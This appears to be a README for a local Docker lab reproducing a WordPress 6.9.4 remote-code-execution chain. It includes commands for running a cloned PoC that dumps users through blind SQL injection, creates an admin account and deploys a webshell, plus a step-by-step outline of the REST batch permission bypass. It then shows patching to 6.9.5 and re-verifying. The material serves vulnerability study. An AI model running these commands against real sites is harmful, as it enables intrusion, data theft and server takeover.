.
├── docker-compose.yml     # Lab: WordPress 6.9.4 + MariaDB 11 + phpMyAdmin
├── exploit/               # PoC exploit (clone từ GitHub)
│   └── wp2shell.py        # Full RCE exploit
├── REPORT.md              # Báo cáo phân tích root cause
└── README.md

docker compose up -d

docker compose logs -f wpcli

git clone https://github.com/0xsha/wp2shell.git exploit

cd exploit

# Check vulnerability (non-destructive)
python wp2shell.py check http://localhost:8080

# Extract data qua blind SQLi
python wp2shell.py read http://localhost:8080 --preset users

# RCE — tạo admin + deploy webshell + chạy command
python wp2shell.py shell http://localhost:8080 --cmd id

# Interactive shell
python wp2shell.py shell http://localhost:8080 -i

1. POST /wp-json/batch/v1
   └─ Sub-request[0]: malformed path → parse error
   └─ Sub-request[1]: /wp/v2/posts + author_exclude=<SQLi>
   └─ Sub-request[2]: sacrificial route
   → $matches[] bị lệch index → req[1] nhận handler của req[2]
   → bypass permission_callback → SQLi vào WP_Query

2. SQL Injection (author__not_in)
   → Scalar string bypass is_array() check
   → Raw SQL inject vào WHERE clause

3. Object Hydration → oEmbed Write → Parent Loop Repair
   → Poisoned WP_Post objects persist vào database

4. Changeset Privilege Escalation
   → WordPress switch current_user sang admin

5. Nested REST Request
   → Tạo admin account mới (không cần crack password)

6. Login + Upload webshell plugin → RCE

# Update WordPress trong container
docker exec -it wp2shell-lab-wp-1 bash -c \
  "curl -sO https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar && \
   chmod +x wp-cli.phar && \
   ./wp-cli.phar core update --version=6.9.5 --allow-root"

# Re-run exploit — phải fail
python exploit/wp2shell.py check http://localhost:8080

docker compose down -v